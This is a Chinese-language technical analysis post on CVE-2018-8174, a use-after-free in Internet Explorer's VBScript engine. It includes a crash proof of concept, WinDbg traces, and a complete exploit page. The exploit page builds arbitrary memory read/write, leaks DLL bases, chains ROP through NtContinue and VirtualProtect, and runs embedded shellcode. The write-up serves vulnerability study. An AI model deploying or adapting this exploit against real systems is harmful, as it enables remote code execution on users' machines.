其他
IE VBScript 漏洞之CVE-2018-8174
我之前在《IE VBScript 漏洞之CVE-2014-6332》中，总结学习了VBScript中的关键数据结构，故在这篇中不再总结。
《IE VBScript 漏洞之CVE-2014-6332》链接：
https://bbs.pediy.com/thread-248925.htm
漏洞分析
POC
启用页堆
gflags.exe /i iexplore.exe +hpa
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<body>
<script language="vbscript">
Dim array()
Dim array2(1)
Class MyClass
Private Sub Class_Terminate
Set array2(0)=array(1)
array(1)=1
End Sub
End Class
Redim array(1)
Set array(1)=New MyClass
Erase array
array2(0)=0
</script>
</body>
</html>捕获异常如下，我们可以看到eax引用的地址已经被释放了，也就是对应在poc中的Erase array，调用Erase触发了Class_Terminate函数，在Class_Terminate函数中，将array(1) 赋值给了array2,然后又平衡了其引用计数,使得array2成了指向MyClass的悬挂指针，访问array2造成了访问异常。
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c607fd0 ebx=0aa8af90 ecx=00000009 edx=00000002 esi=0aa8af90 edi=00000009
eip=75a24971 esp=08aadf7c ebp=08aadf84 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
OLEAUT32!VariantClear+0xb3:
75a24971 8b08 mov ecx,dword ptr [eax] ds:002b:0c607fd0=????????
0:005> !heap -p -a eax
address 0c607fd0 found in
_DPH_HEAP_ROOT @ a31000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
a33618: c607000 2000
6d9c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77e70acc ntdll!RtlDebugFreeHeap+0x0000002f
77e2a967 ntdll!RtlpFreeHeap+0x0000005d
77dd32f2 ntdll!RtlFreeHeap+0x00000142
772c98cd msvcrt!free+0x000000cd // eax所指向的内存已经被释放掉了
6bc2406c vbscript!VBScriptClass::`vector deleting destructor'+0x00000019
6bc2411a vbscript!VBScriptClass::Release+0x00000043
75a24977 OLEAUT32!VariantClear+0x000000b9
75a3e375 OLEAUT32!ReleaseResources+0x000000a3
75a3e003 OLEAUT32!_SafeArrayDestroyData+0x00000048
75a45d7d OLEAUT32!SafeArrayDestroyData+0x0000000f
75a45d63 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
6bc6267f vbscript!VbsErase+0x00000057
······调试
首先，我们将poc修改成如下。看一下正常的释放过程。
Dim array()
Dim array2(1)
Class MyClass
End Class
Redim array(1)
Set array(1)=New MyClass
IsEmpty(array)
Erase array0:005> p
eax=0c3c4fd0 ebx=0c3c4fd0 ecx=69381748 edx=00000000 esi=76e813b0 edi=0c3c4fd4
eip=69391f08 esp=0894f524 ebp=0894f534 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
vbscript!VBScriptClass::Release+0x15:
69391f08 ffd6 call esi {kernel32!InterlockedDecrementStub (76e813b0)}
0:005> dd edi
0c3c4fd4 00000001 00000000 0c28df88 00000a08
0c3c4fe4 00000000 00000000 00000000 00000000
vbscript!VBScriptClass::Release+0x15:
69391f08 ffd6 call esi {kernel32!InterlockedDecrementStub (76e813b0)} //引用计数减一
0:005> dps 0c3c4fd0
0c3c4fd0 69381748 vbscript!VBScriptClass::`vftable'
0c3c4fd4 00000000 //引用计数为0,VBScriptClass被释放
0c3c4fd8 00000000
0c3c4fdc 0c28df88
0c3c4fe0 00000a08
0c3c4fe4 00000000
0c3c4fe8 00000000
0c3c4fec 00000000
0c3c4ff0 00000000
0c3c4ff4 0c136fe4我们来看看poc中MyClass在VbsScript中的释放过程。
漏洞利用
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">
Dim gNumber
Dim arrayA(6),arrayB(6)
Dim index
Dim gArray(40)
Dim hexA, hexB
Dim address
Dim memClassA,memClassB
Dim swapA,swapB
Dim NtContinueAddr,VirtualProtectAddr
hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
address = 0
index = 0
Function GetUint32(Addr)
Dim value
memClassA.mem(address + 8) = Addr + 4
memClassA.mem(address) = 8 'type string
value = memClassA.P0123456789
memClassA.mem(address) = 2
GetUint32 = value
End Function
Function readWord(addr)
readWord = GetUint32(addr) And 65535
End Function
Function readByte(addr)
readByte = GetUint32(addr) And (&hFF)
End Function
Function GetBaseByDOSmodeSearch(in_addr)
Dim addr
addr = in_addr And &hFFFF0000
Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44
addr = addr-&h10000
Loop
GetBaseByDOSmodeSearch = addr
End Function
Function StrCompWrapper(addr, szName)
Dim str,i
str = ""
For i = 0 To Len(szName) - 1
str = str & Chr(readByte(addr+i))
Next
StrCompWrapper = StrComp(UCase(str), UCase(szName))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim addr
nt_header = GetUint32(base_address + (&h3c))
import_rva = GetUint32(base_address + nt_header + &h80)
import_dir = base_address + import_rva
descriptor = 0
Do While True
Dim NameOffset
NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)
If NameOffset = 0 Then
GetBaseFromImport = &hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then
Exit Do
End If
End If
descriptor = descriptor+1
Loop
addr = GetUint32(import_dir + descriptor * (&h14)+&h10)
addr = GetUint32(base_address + addr)
GetBaseFromImport = GetBaseByDOSmodeSearch(addr)
End Function
Function GetProcAddr(dll_base,name)
Dim p, export_dir, index
Dim function_rvas, function_names, function_ordin
Dim Ordin
p = GetUint32(dll_base + &h3c)
p = GetUint32(dll_base + p + &h78)
export_dir = dll_base + p
function_rvas = dll_base + GetUint32(export_dir + &h1c)
function_names = dll_base + GetUint32(export_dir + &h20)
function_ordin = dll_base + GetUint32(export_dir + &h24)
index = 0
Do While True
Dim offset
offset = GetUint32(function_names + index * 4)
If StrCompWrapper(dll_base + offset, name) = 0 Then
Exit Do
End If
index = index+1
Loop
Ordin = readWord(function_ordin + index * 2)
p = GetUint32(function_rvas + Ordin * 4)
GetProcAddr = dll_base + p
End Function
Function GetShellcode()
hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")
GetShellcode = hexCode
End Function
Function BuildVirtualTable
Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24
szNtContinueAddr = NumberToString(NtContinueAddr, 8)
szAddr0 = Mid(szNtContinueAddr,1,2)
szAddr8 = Mid(szNtContinueAddr,3,2)
szAddr16 = Mid(szNtContinueAddr,5,2)
szAddr24 = Mid(szNtContinueAddr,7,2)
str = ""
str = str & "%u0000%u" &szAddr24 &"00"
For i = 1 To 3
str = str & "%u" &szAddr8 &szAddr16
str = str & "%u" &szAddr24 &szAddr0
Next
str = str & "%u" & szAddr8 & szAddr16
str = str & "%u00" & szAddr0
BuildVirtualTable = Unescape(str)
End Function
Function NumberToString(ByVal Number, ByVal Length)
hNumber = Hex(Number)
If Len(hNumber) < Length Then
hNumber = String(Length - Len(hNumber), "0") & hNumber 'pad allign with zeros
Else
hNumber = Right(hNumber, Length)
End If
NumberToString = hNumber
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High = NumberToString((value And &hFFFF0000) / &h10000, 4)
Low = NumberToString(value And &hFFFF, 4)
EscapeAddress = Unescape("%u"&Low&"%u"&High)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim ropChain
'pad1 0 - 10FDC
ropChain = String(34798, Unescape("%u4141"))
'rop chain
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
ropChain = ropChain & EscapeAddress(&h3000)
ropChain = ropChain & EscapeAddress(&h40)
ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)
ropChain = ropChain & String(6, Unescape("%u4242"))
ropChain = ropChain & BuildVirtualTable()
'pad2
ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))
WrapShellcodeWithNtContinueContext = ropChain
End Function
Function ExpandWithVirtualProtect(ropAddr)
Dim szContext
Dim Addr
'0 - 10FDC
Addr = ropAddr + &h23
szContext = ""
szContext = szContext & EscapeAddress(Addr)
szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))
szContext = szContext & EscapeAddress(VirtualProtectAddr)
szContext = szContext & EscapeAddress(&h1b)
szContext = szContext & EscapeAddress(0)
szContext = szContext & EscapeAddress(ropAddr)
szContext = szContext & EscapeAddress(&h23)
szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))
ExpandWithVirtualProtect = szContext
End Function
Sub ExecuteShellcode
memClassA.mem(address) = &h4d
Msgbox "ExecuteShellcode"
memClassA.mem(address + 8) = 0
End Sub
Class claA
Private Sub Class_Terminate()
Set arrayA(index) = gNumber(1)
index = index + 1
gNumber(1) = 1
End Sub
End Class
Class claB
Private Sub Class_Terminate()
Set arrayB(index)=gNumber(1)
index=index+1
gNumber(1)=1
End Sub
End Class
Class testClass
End Class
Class memClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem = Value
SetProp = 0
End Function
End Class
Class readMemClass
Dim mem
Function P0123456789
P0123456789 = LenB(mem(address+8))
End Function
Function SPP
End Function
End Class
Class swapObjectA
Public Default Property Get P
Dim object
P = 174088534690791e-324
For i = 0 To 6
arrayA(i) = 0
Next
Set object = New readMemClass
object.mem = hexA
For i = 0 To 6
Set arrayA(i) = object
Next
End Property
End Class
Class swapObjectB
Public Default Property Get P
Dim object
P=636598737289582e-328
For i = 0 To 6
arrayB(i) = 0
Next
Set object = New readMemClass
object.mem = hexB
For i = 0 To 6
Set arrayB(i) = object
Next
End Property
End Class
Set swapA = New swapObjectA
Set swapB = New swapObjectB
Sub UAF
For i = 0 To &h11
Set gArray(i) = New testClass
Next
For i = &h14 To &h26
Set gArray(i) = New memClass
Next
index = 0
For i = 0 To 6
ReDim gNumber(1)
Set gNumber(1) = New claA
Erase gNumber
Next
Set memClassA = New memClass //申请memClass进行占位
arrayB(0) = 0
index = 0
For i = 0 To 6
ReDim gNumber(1)
Set gNumber(1) = New claB
Erase gNumber
Next
Set memClassB = New memClass ////申请memClass进行占位
End Sub
Sub InitObjects
memClassA.SetProp(swapA)
memClassB.SetProp(swapB)
address = memClassB.mem
End Sub
Sub testSub
End Sub
Function GetMemValue
memClassA.mem(address) = 3
GetMemValue = memClassA.mem(address + 8)
End Function
Sub SetMemValue(ByRef in_Ref)
memClassA.mem(address + 8) = in_Ref
End Sub
Function LeakVBAddr
On Error Resume Next
Dim pCScriptEntryPointObject
pCScriptEntryPointObject = testSub
pCScriptEntryPointObject = null
SetMemValue pCScriptEntryPointObject
LeakVBAddr = GetMemValue()
End Function
Sub StartExploit
UAF
InitObjects
pCScriptEntryPointObject = LeakVBAddr()
pVTable = GetUint32(pCScriptEntryPointObject)
vbs_base = GetBaseByDOSmodeSearch(pVTable)
msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")
krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")
ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")
VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")
NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr = GetMemValue() + 8
'同样的方法获得shellcode地址
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
ropAddr = GetMemValue() + 69596
'ExpandWithVirtualProtect 构建CONTEXT
SetMemValue ExpandWithVirtualProtect(ropAddr)
GetMemValue()
ExecuteShellcode
End Sub
StartExploit
</script>
</body>
</html>构造数组
在Exploit中，当执行完UAF函数，使用memclass函数对释放的内存进行站位。
0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c)
+0x000 cDims : 1
+0x002 fFeatures : 0x892
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x0051e630
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> dd 0x0051e630
0051e630 00000009 00000000 02aa0858 00000000
0051e640 6bcb0009 02aa085c 02aa0858 6bcb4211
0051e650 6bcb0009 02aa085c 02aa0858 6bcb4211
0051e660 6bcb0009 02aa085c 02aa0858 6bcb4211
0051e670 6bcb0009 02aa085c 02aa0858 6bcb4211
0051e680 6bcb0009 02aa085c 02aa0858 6bcb4211
0051e690 6bcb0009 02aa085c 02aa0858 6bcb4211
0051e6a0 3192fbe7 88000000 00000000 00000000下面我们来看下InitObjects函数的功能，SetProp函数触发SetProp的Public Default Property Get P函数执行，在此函数中，将memClass再次释放，并再次使用readMemClass进行站位,并将hexA赋值给readMemClass的成员变量mem，将并将返回的P = 174088534690791e-324(00000005 02aa01dc 00000000 0000200c)复制给memClass的成员变量mem。
因为readMemClass和memClass的mem变量地址相差0xc，因此出现了内存重叠。对memClass的成员变量mem赋值造成了readMemClass.mem
的类型变为了一个大小为0x7FFFFFFF每个元素占1Byte的variant，最终实现任意地址读写。
在执行InitObjects函数前，memClass的内存布局。
执行完InitObjects函数之后，我们来看先内存布局。
0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c)
+0x000 cDims : 1
+0x002 fFeatures : 0x892
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x0051e630
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0:005> dd 0x0051e630
0051e630 02aa0009 00000000 02aa0858 00000000
0051e640 02aa0009 00000000 02aa0858 00000000
0051e650 02aa0009 00000000 02aa0858 00000000
0051e660 02aa0009 00000000 02aa0858 00000000
0051e670 02aa0009 00000000 02aa0858 00000000
0051e680 02aa0009 00000000 02aa0858 00000000
0051e690 02aa0009 00000000 02aa0858 00000000
0051e6a0 3192fbe7 88000000 00000000 00000000
0:005> dd 02aa0858//readMemClass
02aa0858 6bcb1748 00000001 02aa72d0 0067ea60
02aa0868 000008a8 00000000 00000000 00000000
02aa0878 00000000 0053bac4 00000000 02aa0820
02aa0888 3316580a 8c000000 6bcbce78 6bcc3100
02aa0898 6bcc30f0 00000001 0067ea60 00524150
02aa08a8 00524150 0326ec94 00000000 00000000
02aa08b8 00000000 00000000 33165803 80000000
02aa08c8 6bcb00b1 6bcc3100 6bcc30f0 00000000
0:005> du 0053bac4
0053bac4 "readMemClass"
0:005> dd 02aa72d0
02aa72d0 02aa9578 000000b8 00000100 00000100
02aa72e0 00004000 02aa957c 02aa961c 02aa3018
02aa72f0 0000000f 00000003 00000040 00000003
02aa7300 00000014 02aa7308 02aa957c 02aa95c4
02aa7310 02aa95fc 00000000 00000000 00000000 //02aa95fc = readMemClass.mem
02aa7320 00000000 00000000 00000000 00000000
02aa7330 00000000 00000000 00000000 00000000
02aa7340 00000000 00000000 00000000 00000000
0:005> dd 02aa95fc-c
02aa95f0 00000005 02aa01dc 00000000 0000200c //P
02aa9600 00000000 0053baec 00000000 00000000
02aa9610 00000000 0000822f 00000006 00000000
02aa9620 00000000 00000003 00000000 0065006d
02aa9630 0000006d 00000000 00000000 00000000
02aa9640 00000000 00000000 00000000 00000000
0:005> dd 0053baec
0053baec 08800001 00000001 00000000 00000000
0053bafc 7fffffff 00000000 00630000 3192b172
0053bb0c 8000003d 00650160 00200077 00650072
0053bb1c 00640061 0065004d 0043006d 0061006c获得DLL基址
在Exploit中,通过相同的方法，将memClassB.mem构造成了vblong类型用于泄露地址。
通过以下方法泄露CScriptEntryPoint对象的地址。然后通过对象地址获得vbs的基址。通过VbScript的导出表获得msvcrt.dll的基址，获得ntdll的基址,最终获取了NtContinue、VirtualProtect函数地址。
Function GetMemValue
memClassA.mem(address) = 3
GetMemValue = memClassA.mem(address + 8)
End Function
Sub SetMemValue(ByRef in_Ref)
memClassA.mem(address + 8) = in_Ref
End Sub
Function LeakVBAddr
On Error Resume Next
Dim pCScriptEntryPointObject
pCScriptEntryPointObject = testSub
pCScriptEntryPointObject = null
SetMemValue pCScriptEntryPointObject
LeakVBAddr = GetMemValue()
End Function调试验证
0:005> dd poi(esp+c)
0084f350 00000003 00000000 03b6c06c 00000000
0084f360 02a10003 00595af0 02a17350 1a000218
0084f370 02f3cdc4 0084f3a0 0084f380 1a000218
0084f380 00000001 00000080 02a17350 1a000218
0084f390 00000000 00000000 02a18608 00000000
0084f3a0 02f3d008 0084f3c0 02a10694 00000000
0084f3b0 02f30000 0084f4c0 00000000 00000000
0084f3c0 02f3d24c 0084f4c0 02a18608 00000000
0:005> dd 03b6c06c
03b6c06c 00000002 7771e026 02a10003 00595af0
03b6c07c 02a17350 1a000218 00000000 2d1edd67
03b6c08c 80000000 00000020 00000000 00000000
03b6c09c 00000000 00000000 00000000 00000000
03b6c0ac 00000000 2d1edd60 80000000 00000025
03b6c0bc 00000000 00000000 00000000 00000000
03b6c0cc 00000000 00000000 00000000 2d1edd6d
03b6c0dc 80000000 0000002a 00000000 00000000
0:005> ln poi(02a17350 )
(70b44934) vbscript!CScriptEntryPoint::`vftable' | (70b5ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>Function GetBaseByDOSmodeSearch(in_addr)
Dim addr
addr = in_addr And &hFFFF0000
Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44 //in DOS
addr = addr-&h10000
Loop
IsEmpty(addr)
GetBaseByDOSmodeSearch = addr
End Function获取指定地址的内存数据
Exploit 通过如下的方法获得执行参数的地址内存数据，将address指向的内存混淆成bstr,通过lenB获得改地址前4个字节的数据。
Function GetUint32(Addr)
Dim value
memClassA.mem(address + 8) = Addr + 4
memClassA.mem(address) = 8 'type string
value = memClassA.P0123456789
memClassA.mem(address) = 2
GetUint32 = value
End FunctionShellCode执行
Exploit中，通过和获得关键DLL基址同样的手法，获得shellCode地址，然后构建ROP链，通过精心控制使代码执行ntdll!ZwContinue函数，然后利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数。最终实现shellcode执行。
Sub ExecuteShellcode
memClassA.mem(address) = &h4d
memClassA.mem(address + 8) = 0
End Sub- End -
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